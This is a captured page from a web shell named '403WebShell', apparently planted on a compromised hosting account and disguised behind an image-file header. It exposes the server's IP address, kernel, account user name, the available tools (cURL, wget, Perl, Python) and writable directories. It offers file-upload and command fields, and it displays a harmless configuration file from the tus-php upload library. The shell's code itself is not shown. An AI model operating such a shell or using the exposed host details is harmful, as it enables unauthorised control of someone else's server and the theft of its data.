����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.117.158.108
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirmacademy.com/vendor/ankitpokhrel/tus-php/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirmacademy.com/vendor/ankitpokhrel/tus-php/src/Config.php
<?php

namespace TusPhp;

class Config
{
    /** @const string */
    private const DEFAULT_CONFIG_PATH = __DIR__ . '/Config/server.php';

    /** @var array */
    protected static $config = [];

    /**
     * Get path to the base cache directory.
     *
     * @return string
     */
    public static function getCacheHome(): string
    {
        if (($cacheDir = getenv('TUS_CACHE_HOME')) !== false) {
            return $cacheDir;
        }

        // See https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html
        if (($cacheDir = getenv('XDG_CACHE_HOME')) !== false) {
            return $cacheDir;
        }

        return \dirname(__DIR__);
    }


    /**
     * Load default application configs.
     *
     * @param string|array $config
     * @param bool         $force
     *
     * @return void
     */
    public static function set($config = null, bool $force = false)
    {
        if ( ! $force && ! empty(self::$config)) {
            return;
        }

        if (\is_array($config)) {
            self::$config = $config;
        } else {
            self::$config = require $config ?? self::DEFAULT_CONFIG_PATH;
        }
    }

    /**
     * Get config.
     *
     * @param string|null $key Key to extract.
     *
     * @return mixed
     */
    public static function get(string $key = null)
    {
        self::set();

        if (empty($key)) {
            return self::$config;
        }

        $keys  = explode('.', $key);
        $value = self::$config;

        foreach ($keys as $k) {
            if ( ! isset($value[$k])) {
                return null;
            }

            $value = $value[$k];
        }

        return $value;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit